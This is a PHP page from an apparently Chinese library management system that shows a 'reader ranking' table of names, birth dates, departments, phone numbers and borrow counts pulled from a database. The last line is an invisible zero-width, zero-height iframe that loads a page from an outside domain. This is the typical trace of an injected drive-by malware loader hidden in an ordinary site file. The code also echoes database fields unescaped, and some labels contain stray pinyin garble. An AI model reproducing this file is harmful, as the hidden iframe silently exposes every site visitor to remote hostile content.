<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">


  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" align="left" class="tabletitle">　讀者排行 </td>
    </tr>
  </table>
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">
      <td width="80" align="center" class="word">姓　名</td>
      <td width="60" align="center" class="word">性　別</td>
      <td width="80" align="center" class="word">出生日期</td>
      <td width="120" align="center" class="word">部　門</td>
      <td width="100" align="center" class="word">職　務(wù)</td>
      <td width="60" align="center" class="word">電　話</td>
      <td width="80" align="center" class="word">借書次數(shù)</td>
      <td width="80" align="center" class="word">登記日期</td>
    </tr>
    <?php

 //使用子查詢，查詢出選擇的某個(gè)類別的讀者的信息

$sql="select * from readerinfo order by number desc";

$result=mysql_query($sql) or die(mysql_error());
while($row=mysql_fetch_array($result))
{
?>
<tr bgcolor='#BCD2E6'>
<td height='20' align='center' class='word'><?php echo $row["readername"];?></td>
<td height='20' align='center' class='word'><?php echo $row["sex"];?></td>
<td height='20' align='center' class='word'><?php echo $row["birth"];?></td>
<td height='20' align='center' class='word'><?php echo $row["department"];?></td>
<td height='20' align='center' class='word'><?php echo $row["duty"];?></td>
<td height='20' align='center' class='word'><?php echo $row["phone"];?></td>
<td height='20' align='center' class='word'><?php echo $row["number"];?></td>
<td height='20' align='center' class='word'><?php echo $row["regdate"];?></td>
</tr>
<?php
}
?>
  </table>
  
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>